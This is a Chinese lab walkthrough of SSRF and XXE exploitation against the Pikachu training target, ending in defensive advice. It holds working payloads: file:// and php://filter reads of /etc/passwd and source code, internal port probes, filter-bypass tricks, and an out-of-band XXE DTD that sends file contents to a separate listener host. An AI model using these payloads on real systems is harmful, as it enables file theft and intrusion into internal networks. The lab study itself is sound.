服务端请求伪造SSRF与XXE复现

admin 2026-09-11 04:59:57 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细复现了SSRF与XXE两类Web安全漏洞,基于Pikachu靶场环境,演示了SSRF利用file、gopher等协议读取文件、探测内网及绕过技巧,以及XXE通过外部实体读取文件和无回显OOB利用方法,并给出了协议白名单、禁用外部实体等防御方案。 综合评分: 82 文章分类: WEB安全,漏洞分析,安全工具,渗透测试


服务端请求伪造SSRF 与 XXE复现

ddyy ddyy

DD2580

2026年9月2日 22:07 四川

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

免责声明:本文所涉及的技术实操与配置仅用于网络安全技术研究、学术交流与防御加固实践。任何个人或组织严禁将本文内容用于非法侵入或破坏计算机系统等违法活动,违者法律责任自负,与作者及平台无关。


0x00 靶场环境准备(Pikachu)

# 1. 一键拉取并运行 Pikachu 靶场(映射宿主机 8082 端口)sudo docker run -d --name pikachu -p 8082:80 area39/pikachu
# 2. 确认容器处于 Up 状态sudo docker ps | grep pikachu

初始化与访问

浏览器打开:http://192.168.10.17:8082,进行初始化安装

0x01 SSRF(服务端请求伪造)

目标服务器提供了“帮用户抓取网络资源”的功能(如:输入 URL 下载远程头像、获取网页标题等)。但后端没有对用户输入的 URL 做严格的边界限制,导致攻击者可以诱导服务器充当跳板,去请求原本外部无法直接访问的内部网络资源(如 127.0.0.1、内网私有网段)。

1.主要危害

  • 探测内网主机存活与开放端口。
  • 借助 file:// 等协议直接读取服务器本地文件。
  • 借助 gopher:// 伪造 TCP 请求,未授权攻击内网组件(如 Redis、FastCGI)。
  • 针对云服务器(阿里云、腾讯云、AWS),请求本地元数据接口)窃取主机临时凭证。

2.常用利用协议

  • file://:读取服务器本地文件系统(如 file:///etc/passwd)。
  • dict://:字典服务器协议,可用于端口扫描、探测内网 Redis 服务版本与配置。
  • gopher://:万能通信协议,可自定义构造原生 TCP 请求包,向内网 Redis 写入定时任务或 Webshell。
  • http:// / https://:常规 HTTP 协议,用于内网 Web 探测与未授权接口调用。

3.绕过技巧

当后端采用简单的黑名单过滤 127.0.0.1 或 localhost 时,常用以下手法绕过:

3.1IP 进制转换:

  • 八进制表示:0177.0.0.1
  • 十六进制表示:0x7f.0.0.1 或 0x7f000001
  • 纯十进制整数:http://2130706433/

3.2特殊 IP 写法:

省略零写法:127.1 或 127.0.1(系统底层会自动解析为 127.0.0.1)

通配地址替代:0.0.0.0 或 http://0/

3.3URL 混淆与 @ 符号:

利用账号认证解析缺陷:http://[email protected]/ 部分解析器会忽略 @ 前面的域名,实际发起向 @ 后的 IP 请求

3.4HTTP 302 跳转重定向:

后端如果校验了请求域名是否为合法的公网地址,但同时开启了跟随跳转。攻击者可在自己公网服务器上放置一个 302 重定向到 http://127.0.0.1:80/ 的脚本,使目标服务器在二次请求时触碰内网。

3.5DNS 重绑定:

配置域名的 DNS 解析 TTL 为 0。首次查询返回合法公网 IP 绕过后端白名单拦截,第二次实际建立连接时解析为 127.0.0.1,实现内网穿透。

0x02 SSRF复现

1.SSRF (curl)

点击左侧导航栏 SSRF-SSRF (curl)。

页面上展示了一句提示:“累了,来读一首诗吧”,点击链接后,浏览器地址栏出现:

参数 url 接收了一个完整的 HTTP 资源地址,后端 PHP 服务直接调用 curl_exec() 代替用户发起请求,未对协议与目标 IP 做任何白名单限制。

1.1利用 file:// 协议读取系统文件

直接修改 URL 参数,将协议从 http:// 替换为 file://,尝试读取容器内部的核心配置文件:

?url=file:///etc/passwd

页面直接将 Linux 系统的 /etc/passwd 用户账号列表渲染在屏幕上。

1.2内网端口与服务状态探测

攻击者虽然无法从外网直接访问靶机所在内网的其他私有端口,但可以诱导靶机向自身的环回地址或同网段主机发起探测。

# 探测 80 端口(Web 服务)http://192.168.10.17:8082/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:80/
# 探测 3306 端口(MySQL 服务)http://192.168.10.17:8082/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:3306/
# 探测未开放端口(连接失败或长时间超时)http://192.168.10.17:8082/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1:65432/

2.SSRF (file_get_content)

进入页面:SSRF – SSRF(file_get_content)

2.1业务逻辑捕获

点击页面链接,请求参数变成了文件名形式:

2.2利用 PHP 伪协议读取网站源码

PHP 的 file_get_contents() 函数原生支持多种封装流。如果直接读取 file=ssrf_fgc.php,文件内的 PHP 代码会被服务器当场解析执行,前台看不到代码。此时使用 php://filter 包装器进行 Base64 编码,即可安全读取后端源代码:

?file=php://filter/read=convert.base64-encode/resource=ssrf_fgc.php

往下滑,将这一段拿去解码即可得到源码

0x03 XXE(XML 外部实体注入)

XXE 漏洞产生的原因是 XML 解析时启用了外部实体解析,攻击者提交包含外部实体的恶意 XML 数据,利用 SYSTEM 关键字让服务器读取本地文件或者发起网络请求,造成文件读取、内网探测等安全风险,防护方式为禁用 XML 解析器的外部实体解析功能。

1.有回显外部实体读取

左侧导航栏 【XXE】-XXE 漏洞

<?xml version="1.0"?><!DOCTYPE&nbsp;root&nbsp;[<!ENTITY&nbsp;test&nbsp;"Hello_XXE_Success">]><root>&test;</root>

2.有回显任意系统文件读取

<?xml version="1.0"?><!DOCTYPE&nbsp;root&nbsp;[<!ENTITY&nbsp;xxe&nbsp;SYSTEM&nbsp;"file:///etc/hosts">]><root>&xxe;</root>

3.读取 PHP 源码(规避 XML 语法截断)

结合 PHP 伪协议对源码进行 Base64 编码提取:

<?xml version="1.0"?><!DOCTYPE&nbsp;root&nbsp;[<!ENTITY&nbsp;xxe&nbsp;SYSTEM&nbsp;"php://filter/read=convert.base64-encode/resource=/var/www/html/vul/xxe/xxe_1.php">]><root>&xxe;</root>

下方输出 Base64 密文,解码即可查看 xxe_1.php 的后端源代码。

4.无回显XXE(带外 OOB 通道设计)

当服务端解析了 XML 但前端界面没有任何输出(无回显)时,需采用 OOB(带外数据传输) 方式完成利用。

4.1在宿主机准备DTD 文件

192.168.10.24 为接收日志的宿主机

在宿主机的任意目录创建一个名为 test.dtd 的文件:

<!ENTITY %&nbsp;file&nbsp;SYSTEM&nbsp;"php://filter/read=convert.base64-encode/resource=/etc/hostname"><!ENTITY %&nbsp;all&nbsp;"<!ENTITY &#x25; send SYSTEM 'http://192.168.10.24:9999/?data=%file;'>">%all;

4.2在宿主机启动临时 HTTP 接收服务

在存放 test.dtd 的目录下打开终端,运行 Python 内置的轻量 Web 服务(既用来提供 DTD 下载,也用来接收数据):

# 进入 test.dtd 所在目录并开启 9999 端口服务python3&nbsp;-m http.server&nbsp;9999

4.3发送触发请求

XXE 漏洞关卡发起请求:

<?xml version="1.0"&nbsp;encoding="UTF-8"?><!DOCTYPE&nbsp;root&nbsp;[&nbsp;&nbsp;<!ENTITY %&nbsp;remote&nbsp;SYSTEM&nbsp;"http://192.168.10.24:9999/test.dtd">&nbsp; %remote;&nbsp; %send;]><root>test</root>

4.4观察日志与数据还原

提交后,回到宿主机运行 python3 -m http.server 9999 的终端,你会看到两条按顺序出现的请求日志:

解密还原:

在宿主机新开终端执行:

echo&nbsp;"NjI1Y2M0YTFkYTU2Cg=="&nbsp;|&nbsp;base64&nbsp;-d

0x04 防御方案

  1. SSRF 防御:
  • 协议白名单:代码层强制仅允许 HTTP / HTTPS 协议,禁用 file://、dict://、gopher:// 等非常用协议。
  • 内网地址校验:在发起实际请求前执行 DNS 解析,若解析后的真实 IP 属于私网地址(127.0.0.0/8、10.0.0.0/8、172.16.0.0/12、192.168.0.0/16),直接拒绝连接。
  • 禁用重定向:关闭网络请求库的 302 跟随跳转功能。
  1. XXE 防御:

彻底禁用外部实体加载:

PHP:在解析前执行 libxml_disable_entity_loader(true);

Java:配置 DocumentBuilderFactory 禁用 DOCTYPE 声明与外部参数/通用实体。

接口数据格式升级:前后端交互优先使用 JSON 替代 XML。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:DD2580 ddyy ddyy《服务端请求伪造SSRF 与 XXE复现》

    评论:0   参与:  0